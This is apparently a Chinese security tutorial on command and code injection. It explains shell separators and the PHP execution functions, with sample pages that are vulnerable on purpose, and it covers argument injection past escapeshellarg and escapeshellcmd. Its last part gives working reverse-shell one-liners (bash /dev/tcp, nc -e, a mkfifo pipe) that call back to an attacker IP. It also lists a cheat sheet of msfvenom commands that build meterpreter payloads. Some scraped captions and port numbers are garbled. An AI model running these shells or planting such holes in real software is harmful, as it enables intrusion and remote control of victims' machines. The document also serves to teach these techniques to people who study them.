一、区别

命令注入:直接执行系统中的指令
代码注入:靠执行脚本来调用系统命令

二、命令连接符

符号

说明


;

前后命令依次执行

注意前后顺序,若更变目录,则必须在“一句”指令内

||

前命令执行失败后才执行后命令

-

&&

前命令执行成功后才执行后命令

-

&

前台执行后任务,后台执行前任务

如 a&b&c 则显示c的执行信息,a b在后台执行

|

管道,只输出后者的命令

当第一条命令失败时,它仍然会执行第二条命令

``(反引号,仅linux)

即命令替换,echo `date`,输出系统时间

使用反引号运算符的效果与函数shell_exec()相同,但在激活了安全模式或者关闭了shell_exec()时是无效的

$(command)

这是命令替换的不同符号。与反引号效果一样。echo $(date),输出系统时间.

按理说更推荐用这种方法,而不是反引号。

注:

命令注入漏洞解决 java 命令注入和代码注入_重定向

三、命令执行函数

PHP

  1. systempassthru:用来执行一个外部的应用程序并将相应的执行结果输出

string system(string command, int&return_var)

  • command:执行的命令
  • return_var:命令执行后的状态
<?php
if($_REQUEST['cmd']){
      $str=$_REQUEST['cmd'];
      system($str); //关键 
      // passthru($str); //替换,一样的效果
}
?>

构造参数http://127.0.0.1/Command_Execution_test1.php?cmd=ipconfig,有:

命令注入漏洞解决 java 命令注入和代码注入_标准输出_02

  1. exec:可以用来执行一个外部的应用程序

string exec (string command, array& output, int & return_var)

  • command:执行的命令
  • output:命令执行后的输出
  • return_var:命令执行后的状态
<?php
if($_REQUEST['cmd']){
      $str=$_REQUEST['cmd'];
      print exec($str); //关键
}
?>

构造与之前的一样。

  1. shell_exec:执行shell命令并返回输出的字符串

string shell_exec (string command)

  • command:执行的命令。
<?php
if($_GET['cmd']){
      $str=$_GET['cmd'];
      $output = shell_exec($str);//关键
      echo "<pre>$output</pre>";
}
?>

构造与之前的一样。

  1. 反引号与$(command)
<?php
if($_REQUEST['cmd']){
      $str=$_REQUEST['cmd'];
      print `$str`;
      // print $($str)) //替换:$(command),效果一样
}
?>

构造与之前的一样。

  1. popenproc_popen:函数用来打开进程文件指针,打开一个该进程的管道,接下来便可以对该进程进行操作,可以执行OS命令,但是不返回命令结果。(第一个是单向,第二个是双向),出现得比较少

popen (string $command , string $mode ): resource
proc_open ( string $cmd , array $descriptorspec , array &$pipes , string $cwd = null , array $env = null , array $other_options = null ) : resource
proc_open() 提供了更加强大的控制程序执行的能力(参考

<?php
if($_GET['cmd']){
	$str=$_GET['cmd'];
	$handle=popen($str,'r');
	pclose($handle);
}
?>

构造参数:http://127.0.0.1/Command_Execution_test4.php?cmd=ipconfig>>1.txt,可以在目录下看到1.txt

命令注入漏洞解决 java 命令注入和代码注入_php_03

  1. asserteval:都是动态执行命令,此命令不是系统的cmd命令哦。
<?php
if($_GET['cmd']){
      $str=$_GET['cmd'];
      assert($str); //执行的是PHP中的命令函数
}
?>

构造参数1:http://127.0.0.1/Command_Execution_test2.php?cmd=print_r(scandir(%27../%27))

命令注入漏洞解决 java 命令注入和代码注入_重定向_04


构造参数2:http://127.0.0.1/Command_Execution_test2.php?cmd=phpinfo()

命令注入漏洞解决 java 命令注入和代码注入_php_05

  1. pcntl_exec

参考链接:


  1. https://blog.51cto.com/wt7315/1884368
  2. https://www.anquanke.com/post/id/107336

  3. https://mp.weixin.qq.com/s/Hm6TiLHiAygrJr-MGRq9Mw
  4. https://chybeta.github.io/2017/08/15/命令执行的一些绕过技巧/

三、绕过

3.1 escapeshellarg与escapeshellcmd(参数注入)

PHP内置的命令执行函数,都只接受一个“字符串”作为参数。而在内核中,这个字符串将被直接作为一条shell命令来调用,这种情况下就极为容易出现命令注入漏洞。因此,php准备了两个过滤函数(就是题目的两个)。举个例子:
CODE

<?php
if($_GET['cmd']){
	$cmd=$_GET['cmd'];
	$para=$_GET['para'];
	echo '<strong>Original cmd:</strong>'.$cmd.' '.$para;
	echo '<br>';
	$str=escapeshellcmd($cmd.' '.$para);
	echo '<strong>After escapeshellcmd:</strong>'.$str;
	echo '<br>';
	$str=$cmd.' '.escapeshellarg($para);
	echo '<strong>After escapeshellarg:</strong>'.$str;
	echo '<br>';
	$str=escapeshellcmd($cmd.' '.escapeshellarg($para));
	echo '<strong>Final cmd:</strong>'.$str;
	echo '<br></br>RESULT:<br>';
	$output = shell_exec($str);
        echo "<pre>$output</pre>";
}
?>

URL_1http://127.0.0.1/Command_Execution_defent1.php?cmd=ping 192.168.1.1||echo 1OUTPUT_1

Original cmd:ping 192.168.1.1||echo 1
After escapeshellcmd:ping 192.168.1.1^|^|echo 1
After escapeshellarg:ping "192.168.1.1||echo 1"
Final cmd:ping ^"192.168.1.1^|^|echo 1^"

RESULT:

Ping 请求找不到主机 192.168.1.1||echo 1。请检查该名称,然后重试。

注:ping ^"192.168.1.1^",这个指令竟然能执行!

URL_2http://127.0.0.1/Command_Execution_defent1.php?cmd=ping&para=-n 2 192.168.1.1OUTPUT_2

Original cmd:ping -n 2 192.168.1.1
After escapeshellcmd:ping -n 2 192.168.1.1
After escapeshellarg:ping "-n 2 192.168.1.1"
Final cmd:ping ^"-n 2 192.168.1.1^"

RESULT:

必须为选项 -n 2 192.168.1.1 提供值。

由此可见两者的功能

函数

说明

escapeshellarg

1. 防止出现第二个参数(只能有一个参数)

2. 因整体para加引号,所以不能执行其他指令

escapeshellcmd

1. 可以指定不限制数量的参数

2. 防止执行多个命令(黑名单禁止分号,&等符号)

但是,我们仍然可以将参数传给第一个指令,也就是可以将新选项传递给命令。这就可能构成参数注入
如URL_2,我们仍然可以传递多个参数,这样,就可以利用新选项执行命令(有find -exec ?tar --use-compress-program ?
而URL_1,我们看到整一个para变成一个参数,这样,若有选项[option]可以执行命令,则可以整体传递过去(有mysql -uuser -ppassword -e ! id


参考链接

  1. https://paper.seebug.org/164/#0x00
  2. https://www.anquanke.com/post/id/107336
  3. https://zhuanlan.zhihu.com/p/36591451
  4. https://www.freebuf.com/articles/network/166385.html

3.2 常见绕过

字符

绕过例子


空格

{substr{10}{1}{$tod_log}}

-

/

${substr{0}{1}{$spool_directory}}

-

推荐:

  1. 常用绕过
  2. 通配符绕过

四、GET shell

4.1 反弹shell

反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。为什么要反弹,什么是反弹?先说正向链接,是攻击者连接被害者,而反弹就是被害者主动连接攻击者。这样做的原因是正向连接困难(如受害主机ip不断更换,有防火墙等)。【参考

常见反弹shell:(重点在于理解重定向)

bashbash -i >& /dev/tcp/10.10.10.1/6666 0>&1

  1. 标准输入输出有三种:0=stdin(输入);1=stdout(输出);2=stderr(错误);
  2. 重定向符号(<,>):<表示输入重定向,>表示输出重定向;
  3. bash -i:表示交互式shell(你来我往)
  4. >>&:举个例子echo 1>2表示将标准输出stdout输出到2这个文件,而echo 1>&2表示将标准输出stdout输出到标准输出stderr里头。&的作用不是后台运行,&<>连用是为了将纯数字名文件和文件描述符区分开。再举个例子:echo '1'>1表示将字符1输出到文件1
  5. /dev/tcp/10.10.10.1/6666:体现linux一切皆是文件的思想,当然,这个文件实际是不存在的。
  6. >& /dev/tcp/10.10.10.1/6666:>&word&>word都表示的是把标准输出和标准错误同时重定向到某个文件,都相当于>word 2>&1`。即,把标准输出定向到文件6666中,也把标准错误定向到标准输出中(然后再定向到文件6666中)。总的来说,把标准输出与标准错误都定向到文件6666中。
  7. 0>&1:表示将标准输入重定向到标准输出里面
  8. 整合一下:建立一个交互式shell,将标准输出与标准错误定向到链接6767的端口上,同时将6767端口上的输出作为本机的输入。实现链接6767端口的攻击机能在受害机(执行shell的)上执行命令并获取信息。

例子

  1. 主机(10.10.10.1),使用netcat,对6666端口进行监听,命令如下nc.exe lvp 6666。其中l指listen,v指交互,p指port端口
  2. 受害机执行命令bash -i >& /dev/tcp/10.10.10.1/6666 0>&1
  3. 得到画面如下:

NetCat:使用nc中的-e选项,程序重定向,一旦连接,就执行。若无-e选项,则使用另外一种方式。
例子1

  1. 主机(10.10.10.1),使用netcat,对6666端口进行监听,命令如下nc.exe lvp 6666
  2. 受害机执行命令1nc -e /bin/sh 10.10.10.1 6666,连接10.10.10.1的同时重定向shell给主机。
    或者执行命令2rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.1 6666 >/tmp/f
  3. 得到画面如下:

4.2 msf getshell

Msfvenom

生成木马/getshell脚本。生成方式:

Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=< 监听ip> LPORT=< 监听端口> -f elf > shell.elf

Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<监听ip> LPORT=<监听端口> -f exe > shell.exe

PS
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<监听ip> LPORT=<监听端口> -f psh-reflection >xxx.ps1

Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<监听ip> LPORT=<监听端口> -f macho > shell.machoWeb Payloads

PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=<监听ip> LPORT=<监听端口> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<监听ip> LPORT=<监听端口> -f asp > shell.asp

JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<监听ip> LPORT=<监听端口> -f raw > shell.jsp

WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<监听ip> LPORT=<监听端口> -f war > shell.war
Scripting Payloads

Python
msfvenom -p cmd/unix/reverse_python LHOST=<监听ip> LPORT=<监听端口> -f raw > shell.py

Bash
msfvenom -p cmd/unix/reverse_bash LHOST=<监听ip> LPORT=<监听端口> -f raw > shell.sh

Perl
msfvenom -p cmd/unix/reverse_perl LHOST=<监听ip> LPORT=<监听端口> -f raw > shell.pl

APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=<监听ip> LPORT=<监听端口> R > /1.apk

Meterpreter

包括入侵与后渗透等内容。

以上不详细说了。